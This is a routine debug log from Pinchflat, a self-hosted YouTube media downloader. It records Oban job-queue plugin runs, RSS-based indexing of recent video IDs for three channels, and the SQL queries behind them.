11:51:06.424 [debug] QUERY OK source="tasks" db=0.0ms idle=165.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [626, 3, ~U[2026-07-24 11:51:06Z], ~U[2026-07-24 11:51:06Z]] 11:51:06.424 [info] {"args":{"id":3},"id":623,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":166461,"event":"job:stop","queue_time":606084,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:51:26.584 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:56.585 [info] {"source":"oban","duration":460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:00.447 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:52:26.586 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:56.587 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:00.448 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:53:26.588 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:56.589 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:00.448 [info] {"source":"oban","duration":120,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:54:26.590 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:56.591 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:00.450 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:55:26.592 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:56.593 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:00.451 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:56:26.593 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:56.595 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:00.452 [info] {"source":"oban","duration":344,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:57:26.596 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:56.597 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:00.453 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:58:26.598 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:56.599 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:00.454 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:59:26.600 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:56.601 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:00.455 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:00:26.602 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:36.852 [info] {"args":{"id":2},"id":624,"meta":{},"system_time":1784894436852303660,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:00:36.852 [debug] QUERY OK source="sources" db=0.0ms idle=273.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 12:00:36.852 [debug] QUERY OK source="settings" db=0.0ms idle=273.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:00:36.852 [debug] QUERY OK source="media_profiles" db=0.0ms idle=273.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 12:00:36.852 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:00:36.852 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 12:00:36.972 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 12:00:36.973 [debug] QUERY OK source="media_items" db=0.3ms idle=120.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 12:00:36.974 [debug] QUERY OK source="media_items" db=0.2ms idle=121.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 12:00:36.974 [debug] QUERY OK source="tasks" db=0.0ms idle=121.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [627, 2, ~U[2026-07-24 12:00:36Z], ~U[2026-07-24 12:00:36Z]] 12:00:36.974 [info] {"args":{"id":2},"id":624,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":122437,"event":"job:stop","queue_time":361393,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:00:51.867 [info] {"args":{"id":1},"id":625,"meta":{},"system_time":1784894451867172191,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:00:51.867 [debug] QUERY OK source="sources" db=0.0ms idle=1288.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 12:00:51.867 [debug] QUERY OK source="settings" db=0.0ms idle=1288.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:00:51.867 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 12:00:51.867 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:00:51.867 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 12:00:51.910 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 12:00:51.910 [debug] QUERY OK source="media_items" db=0.2ms idle=43.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 12:00:51.913 [debug] QUERY OK source="media_items" db=2.0ms idle=43.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 12:00:51.914 [debug] QUERY OK source="tasks" db=0.2ms idle=46.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [628, 1, ~U[2026-07-24 12:00:51Z], ~U[2026-07-24 12:00:51Z]] 12:00:51.914 [info] {"args":{"id":1},"id":625,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":47402,"event":"job:stop","queue_time":359361,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:00:56.603 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:00.455 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:01:06.884 [info] {"args":{"id":3},"id":626,"meta":{},"system_time":1784894466884124349,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:01:06.884 [debug] QUERY OK source="sources" db=0.0ms idle=1305.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 12:01:06.884 [debug] QUERY OK source="settings" db=0.0ms idle=1305.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:01:06.884 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 12:01:06.884 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:01:06.884 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 12:01:06.913 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 12:01:06.913 [debug] QUERY OK source="media_items" db=0.3ms idle=29.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 12:01:06.916 [debug] QUERY OK source="media_items" db=1.8ms idle=29.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 12:01:06.917 [debug] QUERY OK source="tasks" db=0.0ms idle=32.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [629, 3, ~U[2026-07-24 12:01:06Z], ~U[2026-07-24 12:01:06Z]] 12:01:06.917 [info] {"args":{"id":3},"id":626,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":32965,"event":"job:stop","queue_time":459923,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:01:26.604 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:56.605 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:00.457 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:02:26.606 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:56.607 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:00.458 [info] {"source":"oban","duration":388,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:03:26.608 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:56.609 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:00.459 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:04:26.610 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:56.611 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:00.460 [info] {"source":"oban","duration":386,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:05:26.612 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:56.613 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:00.461 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:06:26.615 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:56.616 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:00.462 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:07:26.617 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:56.618 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:00.463 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:08:26.619 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:56.620 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:00.464 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:09:26.621 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:56.622 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:00.464 [info] {"source":"oban","duration":122,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:10:26.623 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:37.510 [info] {"args":{"id":2},"id":627,"meta":{},"system_time":1784895037510187617,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:10:37.510 [debug] QUERY OK source="sources" db=0.1ms idle=931.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 12:10:37.510 [debug] QUERY OK source="settings" db=0.1ms idle=931.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:10:37.510 [debug] QUERY OK source="media_profiles" db=0.0ms idle=931.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 12:10:37.511 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:10:37.511 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 12:10:37.775 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", 